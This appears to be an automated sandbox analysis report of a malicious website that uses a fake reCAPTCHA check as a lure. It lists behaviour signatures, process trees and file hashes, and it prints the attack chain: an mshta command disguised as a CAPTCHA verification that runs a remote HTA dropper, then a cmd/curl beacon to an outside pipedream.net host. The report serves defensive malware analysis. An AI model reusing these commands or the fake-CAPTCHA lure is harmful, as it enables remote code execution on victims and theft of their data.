Analysis

  • max time kernel
    348s
  • max time network
    330s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250217-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    19-02-2025 06:44

General

  • Target

    https://portaal.com.my/

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://portaal.com.my/recaptcha-verify

Signatures

  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Detected potential entity reuse from brand GOOGLE. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://portaal.com.my/
    1⤵
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1344
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffec08bcc40,0x7ffec08bcc4c,0x7ffec08bcc58
      2⤵
        PID:2648
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1984,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1980 /prefetch:2
        2⤵
          PID:3076
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1948,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1836 /prefetch:3
          2⤵
            PID:4976
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2300,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2456 /prefetch:8
            2⤵
              PID:3952
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3144 /prefetch:1
              2⤵
                PID:2724
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3176 /prefetch:1
                2⤵
                  PID:2304
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4900,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4916 /prefetch:8
                  2⤵
                    PID:404
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4668,i,2813088027128433000,14358205993050481851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4756 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2084
                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                  1⤵
                    PID:2664
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:1940
                    • C:\Windows\system32\mshta.exe
                      "C:\Windows\system32\mshta.exe" https://portaal.com.my/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3058''
                      1⤵
                      • Blocklisted process makes network request
                      • Checks computer location settings
                      • Detected potential entity reuse from brand GOOGLE.
                      PID:2828
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c curl https://eo8wopqlt5g9yrc.m.pipedream.net/AJMZYJLS_10.127.0.96
                        2⤵
                          PID:3128
                          • C:\Windows\system32\curl.exe
                            curl https://eo8wopqlt5g9yrc.m.pipedream.net/AJMZYJLS_10.127.0.96
                            3⤵
                              PID:100

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                          Filesize

                          2KB

                          MD5

                          a0b12a1829c6f981f4650f91b35903dd

                          SHA1

                          4e7564cf856100745e46826c75a697f88d7182bc

                          SHA256

                          079604180938a4b1d1864c5b4a67b717da0cdf335fa86976f744dcf4e375978f

                          SHA512

                          8fc64f03596d08d4739838515022680741cfe5c366600cde1be62b1df08a36fc7e7336085d84e3b4abc31fbf686863d59c179a2605da3f9b5992744ebf4120ed

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                          Filesize

                          2B

                          MD5

                          d751713988987e9331980363e24189ce

                          SHA1

                          97d170e1550eee4afc0af065b78cda302a97674c

                          SHA256

                          4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                          SHA512

                          b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          4b5fcc853a7c2246b380675856d7cc83

                          SHA1

                          8aa845e71032436a74e2ef06bf94fe385bc71cb8

                          SHA256

                          f90761ddaa5a3d1fcfd1b4ed908f3baf133c6da33856a8d3043d287009bd8b32

                          SHA512

                          9e6dd0d0da8a7288e334d84e51432199ce84c309210b55d87cdbe3f9af5f9d9ce85ab57fd1976d93aafd450e933091b776bc5fc1cc1157f73e537aa279237540

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          755bf75d36fcc5d358f968e3e747a2c8

                          SHA1

                          43813d3e916e996386c913cae4cbd82e2f04d369

                          SHA256

                          fb0e875a373625926591f8fd2c9718f0c9c49fa5357b426e1583e65d14fc5769

                          SHA512

                          ebca9c246df1877996ae916bfa4e3cf0231deb53f55bdd4d04a4f2d02b40467794093639c901d8cee6f31b0f8d0bd3377fe9b66bb4c197029ea928ca6d6f000f

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          33cccc5c4404f6b605733f8df6d0a13c

                          SHA1

                          835839af896ec3a130330960d9e83faf66c319ab

                          SHA256

                          01e4ba0b2c25ea63404d06bafa672c2c68a3eeba9979d682b5a1b8c147cdde9d

                          SHA512

                          29161601b371edd139e44c772f99c0272a45127b8894e0980661e962d733597920f3aca5a45a468dfdc1bacf2dd739d52f8900d3ce308212e0881e650acc040c

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          c59587e3f38bc669b4f26de1a9400bdd

                          SHA1

                          82ee7d9a9d1593cfe89e051cc673534edf4cfd19

                          SHA256

                          c37cc703b20e54e3e27895823f4e55ae95a5785817b9fd01c48476f8b75b4bc7

                          SHA512

                          6dd407ebffbf15924e8c4ef378bbc09a0252a90954a6f363d57e32c9e969bb2617870a01f0b7af5d571bc4aafb1c0d89ef84663b1ff3b800e0fd0b5364eece3d

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          240d6c4f56ea24adb4043c22d30f9d5a

                          SHA1

                          41a09b672e9a6cd05aed8b7da8a795b5302fc926

                          SHA256

                          b52f128d32ee654315d3bfecb28033bf7f42ddba1a2729f7a91a52025b19f625

                          SHA512

                          bd919e649189ff976e5f049ea69d78f4686ff2ab6e645b08bc30e1eb9eaa6703b00e33d4104b5d4e7472d69b46a47b3b9db5d807a3b7151a567232a1af7c6909

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          b1455fcb1a65f5f2a07bbc6146bc17a5

                          SHA1

                          cb57f036a64a4c79cad6b556cca07cd22a25e7d1

                          SHA256

                          11197abe14a78b65d2c5149b68d83c9daa648a09ec203f20aef48b4aee7d79ed

                          SHA512

                          1cdcb172a9dedf05a984698333fb4b8c641874e543bdcbfe8ea8d03e87d9c3ecf1cc53f791a89428e6018be345faa6de9fb9733a9fb6a0697dde8cf0dafd258c

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          cdbce4856a9f0b6fb4a23039ac0fba8f

                          SHA1

                          3a20ab3e3539136504f02c5d859c1ec8b65a648c

                          SHA256

                          94d3c9c486c553e2efb9759b6aa17c849e75a8471bc9c8c358bc8d0ff0cdbad3

                          SHA512

                          bc266a19829805f7dc84787cf913789b9e28519a14b485e29c12b3b08da3bf2f15651f31bcdcbe64817980e513efe6528ddbd519c01c44240cec3613e90ab4b1

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          8797b1920030a47cfde7ccea07976215

                          SHA1

                          c62645ddf16afe86c781900edecc7021631d5b1f

                          SHA256

                          5c56a1ad1e7d38089316710e45d15083406022f7474e30182bad480ab762e815

                          SHA512

                          6e23c25c645c80dbd5cd8261053d657790071e7ad1b648642395ae06c69439291a6ebd83be3e004179d595a8ace8da7629daa5b8ec55bc6439a9bde4f419f611

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          7f18778709f2bc243e479838d1c3a8a3

                          SHA1

                          bfde233f494b452565047bb8ea8b26d9ac5546e6

                          SHA256

                          466bbd8cbede33ae79e8883ca7ae569e41cf73e5274569542fa653bc5a0abb26

                          SHA512

                          4bac303c1d3b572a451d2e380cd60b0cb440eb1d3247af02cb7b95cc1576cd93a533e9b5112777c1d95e57fce68886a289e5f9b6a7f7eedadf96c579adbabd67

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          7718247cb1119861d4cf69bd26a02c14

                          SHA1

                          ea7a36d644e9dc4cc5e0afde44dff1a97f4cf3a8

                          SHA256

                          2daee72a2023d709c3accc02166f1ed7817d4aea7770b0045ada60c1850a4802

                          SHA512

                          90d880332dc6b818d36e41e839332325d1afb6c736f89728441edb2c043e8f329dbf01d79b70f1c6f9e4c1f4df393228a4ab57635f2afabd700a435b51afb5de

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          a30aaee62121cbfe5cf3405fad77144e

                          SHA1

                          b874e32f5d97d066c6b8b9b8db5a0e6e25d4f248

                          SHA256

                          1c8aa7f35aaced7674b5e73a86a62efba680b88ab6eebe8b44a5f1d3ee8d1ba8

                          SHA512

                          a815a0e804ba345b50c8fb82a103d05fa977ad66b0cb1af24e1894c5c0780c1a871fe4b6b25ec138622c84ddf690c520e6fb830fc77125a5a7ed3bea08396ed9

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          123KB

                          MD5

                          77ea2c1748f8849acd8b3f30010335ec

                          SHA1

                          76274ca1fcfd108452f3521f6443973ff4dbb00b

                          SHA256

                          f5c46736311c030aba568d5149b1d51bd11fd4079c2558e91d10949374dff4aa

                          SHA512

                          8a74bb86add1b4a6e780789f02c98ee6230f07602ed827ed58ac1c129a715b5693a14380dce3f208db1a7cb3204ac4404496374f5fd0c84ad6af1c20e01ad8d8

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          123KB

                          MD5

                          3b58b02bdcce8135979be85dae4f8e7b

                          SHA1

                          305fd3b0c46a3efa807de217c79e6b209c481478

                          SHA256

                          ef2cb4e0a95468f2efe591f71431b6b5fa3d742e5965f14482e75988e7942d32

                          SHA512

                          e8e559e147b7fa81be9bb80e9c2450716333c188119ff392f2d8dea61091ffe876f4ac7aad7befadf9762b7c74aa9a773985763d80b404ce8370197d2ccad7a0